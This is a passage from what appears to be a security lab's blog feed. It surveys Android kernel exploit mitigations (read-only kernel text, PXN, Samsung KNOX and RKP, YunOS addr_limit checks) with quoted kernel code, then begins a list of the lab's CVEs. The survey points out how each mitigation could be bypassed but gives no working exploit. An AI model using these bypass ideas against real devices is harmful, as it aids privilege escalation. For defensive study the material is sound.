arch&#x2F;arm64&#x2F;mm&#x2F;mmu.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_DEBUG_RODATA</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">mark_rodata_ro</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">        create_mapping_late(__pa(_stext), (<span class="type">unsigned</span> <span class="type">long</span>)_stext,</span><br><span class="line">                                (<span class="type">unsigned</span> <span class="type">long</span>)_etext - (<span class="type">unsigned</span> )_stext,</span><br><span class="line">                                PAGE_KERNEL_EXEC | PTE_RDONLY);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>One attack against kernel read-only protection is to modify the kernel page table and change the permission of corresponding entries. This requires a bug which may lead to kernel write, controlled bit flip or code execution. Note that Samsung has TrustZone&#x2F;Hypervisor components which protects the page table, which will be discussed in later sections. Info-leak is not needed in this case since the “template” of kernel page table is a static object determined at link time. The location is assigned to init_mm as its initial value in mm&#x2F;init-mm.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mm_struct</span> <span class="title">init_mm</span> =</span> &#123;</span><br><span class="line">  .mm_rb    = RB_ROOT,</span><br><span class="line">  .pgd    = swapper_pg_dir,</span><br><span class="line">  ...</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>The value of swapper_pg_dir varies from arch to arch. For both arm and arm64, they are defined in head.S. For arm:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> PG_DIR_SIZE 0x4000  <span class="comment">// aka 4 pages</span></span></span><br><span class="line">  .globl  swapper_pg_dir</span><br><span class="line">  .equ  swapper_pg_dir, KERNEL_RAM_VADDR - PG_DIR_SIZE</span><br></pre></td></tr></table></figure><p>And for arm64:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> SWAPPER_DIR_SIZE  (3 * PAGE_SIZE)</span></span><br><span class="line">...</span><br><span class="line">  .globl  swapper_pg_dir</span><br><span class="line">  .equ  swapper_pg_dir, KERNEL_RAM_VADDR - SWAPPER_DIR_SIZE</span><br></pre></td></tr></table></figure><p>So for these two architectures, it starts at 4 pages and 3 pages ahead of kernel text prespectively. Kernel text starts relatively at a fixed location for most of the devices (or at least for specific SoCs), so we can predict the beginning of this critical kernel data structure.</p><p>Besides CONFIG_DEBUG_RODATA, PXN is also a very important security feature which has been enabled in recent kernel versions. By the time Android L was released, PXN has been enabled on all arm64 devices. Note that PXN bit also presents in arm32 since ARMv7, but seldomly used.</p><p>PXN on arm64 was introduced into Linux kernel by commit 8e620b0476696e9428442d3551f3dad47df0e28f (<a href="https://kernel.googlesource.com/pub/scm/linux/kernel/git/jic23/iio/+/8e620b0476696e9428442d3551f3dad47df0e28f">https://kernel.googlesource.com/pub/scm/linux/kernel/git/jic23/iio/+/8e620b0476696e9428442d3551f3dad47df0e28f</a>). It basically set PXN bit on every permission templates for user-space, as well as UXN&#x2F;PXN bits for non-executable pages. This makes sure that every user-space page is mapped with PXN bit set, which mitigates ret2usr attack:</p><pre>    -#define PAGE_NONE_MOD_PROT(pgprot_default, PTE_NG | PTE_XN | PTE_RDONLY)    -#define PAGE_SHARED_MOD_PROT(pgprot_default, PTE_USER | PTE_NG | PTE_XN)    ...    -#define PAGE_KERNEL_EXEC_MOD_PROT(pgprot_default, PTE_DIRTY)    +#define PAGE_NONE_MOD_PROT(pgprot_default, PTE_NG | PTE_PXN | PTE_UXN | PTE_RDONLY)    +#define PAGE_SHARED_MOD_PROT(pgprot_default, PTE_USER | PTE_NG | PTE_PXN | PTE_UXN)    +#define PAGE_SHARED_EXEC_MOD_PROT(pgprot_default, PTE_USER | PTE_NG | PTE_PXN)    ...    +#define PAGE_KERNEL_EXEC_MOD_PROT(pgprot_default, PTE_UXN | PTE_DIRTY)    -#define __PAGE_NONE__pgprot(_PAGE_DEFAULT | PTE_NG | PTE_XN | PTE_RDONLY)    -#define __PAGE_SHARED__pgprot(_PAGE_DEFAULT | PTE_USER | PTE_NG | PTE_XN)    ...    -#define __PAGE_READONLY_EXEC__pgprot(_PAGE_DEFAULT | PTE_USER | PTE_NG | PTE_RDONLY)    +#define __PAGE_NONE__pgprot(_PAGE_DEFAULT | PTE_NG | PTE_PXN | PTE_UXN | PTE_RDONLY)    +#define __PAGE_SHARED__pgprot(_PAGE_DEFAULT | PTE_USER | PTE_NG | PTE_PXN | PTE_UXN)    ...    +#define __PAGE_READONLY_EXEC__pgprot(_PAGE_DEFAULT | PTE_USER | PTE_NG | PTE_PXN | PTE_RDONLY)</pre><p>Just like those read-only bits, PXN can also be disabled. But keep in mind that PXN bits are set in user virtual address space, which means they are dynamically allocated, so unlike kernel ones, you will need a good kernel read bug to locate the entry to be manipulated. Usually with both read and write, there is really no need of code execution. So this is not very practicable in real exploit.</p><h2 id="Vendors"><a href="#Vendors" class="headerlink" title="Vendors"></a>Vendors</h2><p><strong>Samsung</strong><br>Samsung has been a pioneer in terms of Android security hardening for the past years. It was actively involved in enabling SELinux (SEAndroid) for Android, implementing multiple security hardening in kernel and invented the KNOX Active Protection, which is the first TrustZone (TIMA) &#x2F;Hypervisor based active protection for kernel.</p><p>Taking kernel module as an example, since Galaxy S4 (or maybe even earlier), Samsung has implemented lkmauth (loadable kernel module authentication) based on TIMA (TrustZone based Integrity Measurement Architecture). For each kernel module get loaded, getting root privilege is not enough, which the kernel module itself will go through a mandatory digital signature verification happens in TrustZone instead of normal world OS. This means even though an attack can compromise kernel and gain arbitrary read&#x2F;write, he&#x2F;she can still not load any kernel module for convenient kernel code execution.</p><p>However, lkmauth still had its weakness, which was pointed out in multiple public sessions, including:</p><ul><li>Advanced Bootkit Techniques on Android, Zhangqi Chen &amp; Di Shen, SyScan360 2014</li><li>Adaptive Android Kernel Live Patching, Tim Xia &amp; Yulong Zhang, HITBSecConf 2016<br>It was pointed out that patching the code of lkmauth() itself can successfully bypass the logic and allow kernel module to be loaded. It’s actually a problem about the trusted computing basee is not really trustworthy (kernel text can be compromised). Samsung has fixed this weakness since Galaxy S5, by introducing TIMA protected page table and read-only kernel text&#x2F;data into the kernel. It was a surprise that this weakness got mentioned again in the latter session in 2016. Per the slides, the device demonstrated was a Galaxy S4, which may explain why lkmauth() can still be patched.</li></ul><p>Besides kernel module authentication, Samsung has enforced KNOX Active Protection (KAP) since 5.1.1 ROMs for Galaxy S6&#x2F;S6 Edge. This seems to be a reaction to the release of PingPong root. In that version of KAP, Samsung did not only protect the page table, but also put crucial kernel objects like credentials into consideration. For example, a dedicated cache (kmem_cache) is created for credential objects, which all pages assigned to the cache are marked as read-only for kernel. In kernel&#x2F;cred.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __init <span class="title function_">cred_init</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">/* allocate a slab in which we can store credentials */</span></span><br><span class="line">  cred_jar = kmem_cache_create(<span class="string">&quot;cred_jar&quot;</span>, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> cred),</span><br><span class="line">             <span class="number">0</span>, SLAB_HWCACHE_ALIGN|SLAB_PANIC, <span class="literal">NULL</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span>  CONFIG_RKP_KDP</span></span><br><span class="line">  <span class="keyword">if</span>(rkp_cred_enable) &#123;</span><br><span class="line">    cred_jar_ro = kmem_cache_create(<span class="string">&quot;cred_jar_ro&quot;</span>, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> cred),</span><br><span class="line">        <span class="number">0</span>, SLAB_HWCACHE_ALIGN|SLAB_PANIC, cred_ctor);</span><br><span class="line">    <span class="keyword">if</span>(!cred_jar_ro) &#123;</span><br><span class="line">      panic(<span class="string">&quot;Unable to create RO Cred cache\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    tsec_jar = kmem_cache_create(<span class="string">&quot;tsec_jar&quot;</span>, rkp_get_task_sec_size(),</span><br><span class="line">        <span class="number">0</span>, SLAB_HWCACHE_ALIGN|SLAB_PANIC, sec_ctor);</span><br><span class="line">    <span class="keyword">if</span>(!tsec_jar) &#123;</span><br><span class="line">      panic(<span class="string">&quot;Unable to create RO security cache\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    rkp_call(RKP_CMDID(<span class="number">0x42</span>),(<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> )cred_jar_ro-&gt;size,(<span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span>)tsec_jar-&gt;size,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span>  <span class="comment">/* CONFIG_RKP_KDP */</span></span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The cred_ctor() and sec_ctor() are dummy constructor routines to make sure that the RO cred&#x2F;security caches are not merged (SLUB merge) with other caches. The cache names are critical here since it has been hard coded in SLUB implementation. In mm&#x2F;slub.c:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> check_cred_cache(s,r)     \</span></span><br><span class="line"><span class="meta">do &#123;              \</span></span><br><span class="line"><span class="meta">  <span class="keyword">if</span> ((s-&gt;name) &amp;&amp; (!strcmp(s-&gt;name,CRED_JAR_RO) || !strcmp(s-&gt;name,TSEC_JAR) || !strcmp(s-&gt;name,VFSMNT_JAR) )) \</span></span><br><span class="line"><span class="meta">    return r;   \</span></span><br><span class="line"><span class="meta">&#125; while (0)</span></span><br></pre></td></tr></table></figure><p>When the two “_ro” caches are create, the underlying implementation of kmem_cache_create, allocate_slab, is also modified to assign dedicated pages to the read-only caches:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="keyword">struct</span> page *<span class="title function_">allocate_slab</span><span class="params">(<span class="keyword">struct</span> kmem_cache *s, <span class="type">gfp_t</span> flags, <span class="type">int</span> node)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">page</span>;</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">kmem_cache_order_objects</span> <span class="title">oo</span> =</span> s-&gt;oo;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_RKP_KDP</span></span><br><span class="line">  <span class="type">void</span> *virt_page = <span class="literal">NULL</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">/*CONFIG_RKP_KDP*/</span></span></span><br><span class="line">...</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_RKP_KDP</span></span><br><span class="line">  <span class="keyword">if</span> (s-&gt;name &amp;&amp;</span><br><span class="line">    (!<span class="built_in">strcmp</span>(s-&gt;name, CRED_JAR_RO) ||</span><br><span class="line">    !<span class="built_in">strcmp</span>(s-&gt;name, TSEC_JAR)||</span><br><span class="line">    !<span class="built_in">strcmp</span>(s-&gt;name, VFSMNT_JAR))) &#123;</span><br><span class="line"></span><br><span class="line">    virt_page = rkp_ro_alloc();</span><br><span class="line">    <span class="keyword">if</span>(!virt_page)</span><br><span class="line">      <span class="keyword">goto</span> def_alloc;</span><br><span class="line"></span><br><span class="line">    page = virt_to_page(virt_page);</span><br><span class="line">    oo = s-&gt;min;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">def_alloc:</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">/*CONFIG_RKP_KDP*/</span></span></span><br><span class="line">...</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_RKP_KDP</span></span><br><span class="line">  &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">/*CONFIG_RKP_KDP*/</span></span></span><br><span class="line">  <span class="keyword">if</span> (kmemcheck_enabled &amp;&amp; page</span><br><span class="line">    &amp;&amp; !(s-&gt;flags &amp; (SLAB_NOTRACK | DEBUG_DEFAULT_FLAGS))) &#123;</span><br><span class="line">...</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> CONFIG_RKP_KDP</span></span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">   * We modify the following so that slab alloc for protected data</span></span><br><span class="line"><span class="comment">   * types are allocated from our own pool.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">if</span> (s-&gt;name)  &#123;</span><br><span class="line">    u64 sc,va_page;</span><br><span class="line">    va_page = (u64)__va(page_to_phys(page));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(!<span class="built_in">strcmp</span>(s-&gt;name, CRED_JAR_RO))&#123;</span><br><span class="line">      <span class="keyword">for</span>(sc = <span class="number">0</span>; sc &lt; (<span class="number">1</span> &lt;&lt; oo_order(oo)) ; sc++) &#123;</span><br><span class="line">        rkp_call(RKP_CMDID(<span class="number">0x50</span>),va_page,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">        va_page += PAGE_SIZE;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">  <span class="keyword">return</span> page;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>With the pages read-only to kernel, any allocation&#x2F;modification of these objects must be done through calling the hyp component. This helps mitigating conventional DKOM exploit. So far, this is the most efficient mitigation we’ve seen in Android. The best choice of bypassing this might be code-reuse attack, however, can still be further mitigated through validating in tz&#x2F;hyp.</p><p>Besides these “high-end” mitigations, Samsung also customized some syscalls to restrict post-exploit activities. Taking fork&#x2F;execve as an example. These two are basically the underlying syscalls behind “system”, a very common routine an exploit will utilize after privilege escalation. So Samsung added some additional check in execve (fs&#x2F;exec.c):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">SYSCALL_DEFINE3(execve,</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> __user *, filename,</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> __user *<span class="type">const</span> __user *, argv,</span><br><span class="line">    <span class="type">const</span> <span class="type">char</span> __user *<span class="type">const</span> __user *, envp)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">filename</span> *<span class="title">path</span> =</span> getname(filename);</span><br><span class="line">  <span class="type">int</span> error = PTR_ERR(path);</span><br><span class="line">  ...</span><br><span class="line">    <span class="keyword">if</span>(CHECK_ROOT_UID(current))&#123;</span><br><span class="line">      <span class="keyword">if</span>(sec_restrict_fork())&#123;</span><br><span class="line">        PRINT_LOG(<span class="string">&quot;Restricted making process. PID = %d(%s) &quot;</span></span><br><span class="line">                <span class="string">&quot;PPID = %d(%s)\n&quot;</span>,</span><br><span class="line">        current-&gt;pid, current-&gt;comm,</span><br><span class="line">        current-&gt;parent-&gt;pid, current-&gt;parent-&gt;comm);</span><br><span class="line">        <span class="keyword">return</span> -EACCES;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For any root process, sec_restrict_fork() will check if it is originated from &#x2F;data. In general, this directory is the only place that an user application can start in. Samsung is hoping that this can stop rooting applications from spawning new process, in most cases a daemon running as root. But since they failed to protect some critical data structures being used inside sec_restrict_fork(), bypassing this check if far easiler than bypassing a tz&#x2F;hyp assisted protection.</p><p><strong>Others</strong><br>Some mitigations were also seen on other manufacturers of Android devices. Besides system partition write protection, which seems to be the favourite of most vendors, a lot of efforts are also done to prevent devices from being rooted. The most ineffective way we have seen is to setup inotify on certain files, like &#x2F;system&#x2F;xbin&#x2F;su. Simply killing the notifier is going to workaround this. But recently we’ve seen something more interesting from YunOS, a customized Android ROM from Alibaba.</p><p>One of the generic route we take for rooting is by modifying the addr_limit of current task’s thread_info structure. This allows the kernel to take the whole virtual address space (or sometimes just enough virtual address space) as “USER_DS” so read&#x2F;write operation in the address range won’t be restricted for certain syscalls, like pipe_read and pipe_write. In the kernel of YunOS, we noticed the following code in el0_svc_naked:<br><img src="/en/img/Emerging-Defense-in-Android-Kernel/yunos_1.png"></p><p>The symbol el0_svc_naked is the entry of syscall of Linux on arm64. YunOS added one additional ext_security_pre_check before actually heading into the syscall. Apparently something is checked there. The function looks like this:<br><img src="/en/img/Emerging-Defense-in-Android-Kernel/yunos_2.png"></p><p>The first basic block extracts addr_limit from current context and check against the standard USER_DS value, 0x8000000000 (1 &lt;&lt; 39). If it is not the desired value, it will enforce a SIGKILL to the calling process. Since SIGKILL can’t be masked, the calling process will be forcibly killed (which may lead to a panic if in the middle of exploit). This is by far the most effective exploit mitigation without tz&#x2F;hyp assistance. Howevr, it can’t stop the following two scenarios:</p><ul><li>One vulnerabilities or a set of vulnerabilities for direct kernel read&#x2F;write</li><li>Pure code-reuse attack</li></ul><p>Vulnerabilities leads to direct kernel read&#x2F;write are quite hard to find now, but the latter one is still achievable. Besides commit_cred, there are still quite some routines can be used conveniently to modify credential of a task. By controlling a certain function entry with 1 or 2 argument would be more than enough.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;There was a time that every Linux kernel hacker loves Android. It comes with a kernel from stone-age with merely any exploit mitigation. Writing exploit with any N-day available was just a walk in the park.&lt;br&gt;Now a days Google, ARM and many other SoC&amp;#x2F;device vendors have put many efforts hardening the security of Android, including its kernel, which is (in most cases) the last defense against attack.&lt;/p&gt;
&lt;p&gt;As a group of Android gurus focusing on rooting, we probably facing these defense more than researchers in other fields. In this post we are going to summarize kernel exploit mitigations appeared in the recent 2 years, and sharing our opinions on their effectiveness.&lt;/p&gt;
&lt;p&gt;Note that we are going to focus on the implementation of mitigations in this post. We may point out its weakness, but we are not going to detail bypassing techniques for each mitigation.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Vulnerability Research is a Journey: CVEs Found by KeenLab</title>
    <link href="http://keenlab.tencent.com/en/2016/05/31/CVEs-in-KeenLab/"/>
    <id>http://keenlab.tencent.com/en/2016/05/31/CVEs-in-KeenLab/</id>
    <published>2016-05-31T03:08:15.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<h4 id="Partly-estimated-until-May-2016-KeenLab-has-totally-found-152-critical-vulnerabilities-with-CVE-IDs-ranging-from-mainstream-OS-to-browsers-and-applications"><a href="#Partly-estimated-until-May-2016-KeenLab-has-totally-found-152-critical-vulnerabilities-with-CVE-IDs-ranging-from-mainstream-OS-to-browsers-and-applications" class="headerlink" title="Partly estimated, until May 2016, KeenLab has totally found 152 critical vulnerabilities with CVE IDs, ranging from mainstream OS to browsers and applications"></a>Partly estimated, until May 2016, KeenLab has totally found <font color="red">152</font> critical vulnerabilities with CVE IDs, ranging from mainstream OS to browsers and applications</h4><span id="more"></span><h4 id="Among-those-vulnerabilities-we-discovered-13-was-used-directly-in-our-8-Pwn2Own-winner-categories-in-the-past-few-years"><a href="#Among-those-vulnerabilities-we-discovered-13-was-used-directly-in-our-8-Pwn2Own-winner-categories-in-the-past-few-years" class="headerlink" title="Among those vulnerabilities we discovered, 13 was used directly in our 8 Pwn2Own winner categories in the past few years"></a>Among those vulnerabilities we discovered, <font color="red">13</font> was used directly in our <font color="red">8</font> Pwn2Own winner categories in the past few years</h4><h4 id="CVE-2007-0071-got-nomination-of-best-client-vulnerability-at-Pwnie-Award-2008-which-is-Pwnie’s-first-to-have-Chinese-researcher-in-the-nomination-list"><a href="#CVE-2007-0071-got-nomination-of-best-client-vulnerability-at-Pwnie-Award-2008-which-is-Pwnie’s-first-to-have-Chinese-researcher-in-the-nomination-list" class="headerlink" title="CVE-2007-0071 got nomination of best client vulnerability at Pwnie Award 2008, which is Pwnie’s first to have Chinese researcher in the nomination list"></a>CVE-2007-0071 got nomination of best client vulnerability at Pwnie Award 2008, which is Pwnie’s <font color="red">first</font> to have Chinese researcher in the nomination list</h4><h4 id="Vulnerability-CVE-2010-3333-affects-all-versions-of-Microsoft-Office-Word-at-that-time-with-huge-impact-in-that-year"><a href="#Vulnerability-CVE-2010-3333-affects-all-versions-of-Microsoft-Office-Word-at-that-time-with-huge-impact-in-that-year" class="headerlink" title="Vulnerability CVE-2010-3333 affects all versions of Microsoft Office Word at that time with huge impact in that year"></a>Vulnerability CVE-2010-3333 affects all versions of Microsoft Office Word at that time with huge impact in that year</h4><h4 id="Vulnerability-CVE-2015-3636-can-root-most-of-the-Android-devices-in-2015-It-got-the-nomination-of-best-privilege-escalation-vulnerability-at-Pwnie-Award-2015-It-is-also-recognized-by-people-from-academic-circle-We-shared-our-research-on-ACM-CCS-2015-Blackhat-2015-and-USENIX-WOOT-2015-etc"><a href="#Vulnerability-CVE-2015-3636-can-root-most-of-the-Android-devices-in-2015-It-got-the-nomination-of-best-privilege-escalation-vulnerability-at-Pwnie-Award-2015-It-is-also-recognized-by-people-from-academic-circle-We-shared-our-research-on-ACM-CCS-2015-Blackhat-2015-and-USENIX-WOOT-2015-etc" class="headerlink" title="Vulnerability CVE-2015-3636 can root most of the Android devices in 2015. It got the nomination of best privilege escalation vulnerability at Pwnie Award 2015. It is also recognized by people from academic circle. We shared our research on ACM CCS 2015, Blackhat 2015, and USENIX WOOT 2015, etc."></a>Vulnerability CVE-2015-3636 can root most of the Android devices in 2015. It got the nomination of best privilege escalation vulnerability at Pwnie Award 2015. It is also recognized by people from academic circle. We shared our research on ACM CCS 2015, Blackhat 2015, and USENIX WOOT 2015, etc.</h4><h4 id="CVE-2014-1303-and-CVE-2014-1314-helped-us-pwn-Safari-on-OS-X-in-2014-which-is-the-first-in-Pwn2Own-history-to-pwn-64bit-browser-on-64bit"><a href="#CVE-2014-1303-and-CVE-2014-1314-helped-us-pwn-Safari-on-OS-X-in-2014-which-is-the-first-in-Pwn2Own-history-to-pwn-64bit-browser-on-64bit" class="headerlink" title="CVE-2014-1303 and CVE-2014-1314 helped us pwn Safari on OS X in 2014, which is the first in Pwn2Own history to pwn 64bit browser on 64bit"></a>CVE-2014-1303 and CVE-2014-1314 helped us pwn Safari on OS X in 2014, which is the <font color="red">first</font> in Pwn2Own history to pwn 64bit browser on 64bit</h4><h4 id="CVE-2015-2435-and-CVE-2015-2455-not-only-helped-us-win-the-Flash-and-Reader-category-in-Pwn2Own-2015-but-it-is-also-the-first-team-in-Pwn2Own-history-to-get-SYSTEM-privilege-on-Windows-using-TTF-vulnerabilities-These-two-vulerabilities-demonstrate-KeenLab’s-research-strength-on-Windows-font-area-as-well-as-the-Windows-kernel-CVE-2015-2455-also-got-nomination-of-best-privilege-escalation-vulnerability-in-Pwnie-2015"><a href="#CVE-2015-2435-and-CVE-2015-2455-not-only-helped-us-win-the-Flash-and-Reader-category-in-Pwn2Own-2015-but-it-is-also-the-first-team-in-Pwn2Own-history-to-get-SYSTEM-privilege-on-Windows-using-TTF-vulnerabilities-These-two-vulerabilities-demonstrate-KeenLab’s-research-strength-on-Windows-font-area-as-well-as-the-Windows-kernel-CVE-2015-2455-also-got-nomination-of-best-privilege-escalation-vulnerability-in-Pwnie-2015" class="headerlink" title="CVE-2015-2435 and CVE-2015-2455 not only helped us win the Flash and Reader category in Pwn2Own 2015, but it is also the first team in Pwn2Own history to get SYSTEM privilege on Windows using TTF vulnerabilities. These two vulerabilities demonstrate KeenLab’s research strength on Windows font area as well as the Windows kernel. CVE-2015-2455 also got nomination of best privilege escalation vulnerability in Pwnie 2015"></a>CVE-2015-2435 and CVE-2015-2455 not only helped us win the Flash and Reader category in Pwn2Own 2015, but it is also the <font color="red">first</font> team in Pwn2Own history to get SYSTEM privilege on Windows using TTF vulnerabilities. These two vulerabilities demonstrate KeenLab’s research strength on Windows font area as well as the Windows kernel. CVE-2015-2455 also got nomination of best privilege escalation vulnerability in Pwnie 2015</h4><h4 id="CVE-2016-1815-and-its-exploit-successfully-gained-root-privilege-on-latest-OS-X-El-Capitan-in-Pwn2Own-2016-The-vulnerability-resids-in-closed-source-core-graphics-pipeline-components-of-all-Apple-graphic-drivers-including-the-newest-chipsets-and-by-our-advanced-exploitation-approach-we-use-single-vulnerability-to-break-Apple-sandbox-and-get-root"><a href="#CVE-2016-1815-and-its-exploit-successfully-gained-root-privilege-on-latest-OS-X-El-Capitan-in-Pwn2Own-2016-The-vulnerability-resids-in-closed-source-core-graphics-pipeline-components-of-all-Apple-graphic-drivers-including-the-newest-chipsets-and-by-our-advanced-exploitation-approach-we-use-single-vulnerability-to-break-Apple-sandbox-and-get-root" class="headerlink" title="CVE-2016-1815 and its exploit successfully gained root privilege on latest OS X El Capitan in Pwn2Own 2016. The vulnerability resids in closed-source core graphics pipeline components of all Apple graphic drivers including the newest chipsets, and by our advanced exploitation approach we use single vulnerability to break Apple sandbox and get root."></a>CVE-2016-1815 and its exploit successfully gained root privilege on latest OS X El Capitan in Pwn2Own 2016. The vulnerability resids in closed-source core graphics pipeline components of all Apple graphic drivers including the newest chipsets, and by our advanced exploitation approach we use single vulnerability to break Apple sandbox and get root.</h4><h4 id="These-years-KeenLab-has-been-shifting-its-research-focus-from-PC-to-mobile-While-continously-discovering-high-quality-high-number-vulnerabilties-on-PC-research-output-on-mobile-platform-is-also-outstanding"><a href="#These-years-KeenLab-has-been-shifting-its-research-focus-from-PC-to-mobile-While-continously-discovering-high-quality-high-number-vulnerabilties-on-PC-research-output-on-mobile-platform-is-also-outstanding" class="headerlink" title="These years, KeenLab has been shifting its research focus from PC to mobile. While continously discovering high quality + high number vulnerabilties on PC, research output on mobile platform is also outstanding."></a>These years, KeenLab has been shifting its research focus from PC to mobile. While continously discovering high quality + high number vulnerabilties on PC, research output on mobile platform is also outstanding.</h4><p>Here is the list of CVEs：</p><h1 id="Microsoft"><a href="#Microsoft" class="headerlink" title="Microsoft"></a>Microsoft</h1><p><font color="red"><strong>CVE-2014-2819 (Pwn2Own 2014 Flash sandbox bypass on Windows 8.1)</strong></font><br>Internet Explorer Elevation of Privilege Vulnerability<br><a href="https://technet.microsoft.com/en-us/library/security/MS14-051">https://technet.microsoft.com/en-us/library/security/MS14-051</a></p><p><font color="red"><strong>CVE-2015-2435 (Pwn2Own 2015 Flash sandbox bypass with System EoP on Windows 8.1)</strong></font><br>TrueType Font Parsing Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-080">https://technet.microsoft.com/library/security/MS15-080</a></p><p><font color="red"><strong>CVE-2015-2455 (Pwn2Own 2015 Reader sandbox bypass with System EoP on Windows 8.1 &#x2F; Pwnie 2015 nomination)</strong></font><br>TrueType Font Parsing Vulnerability<br><a 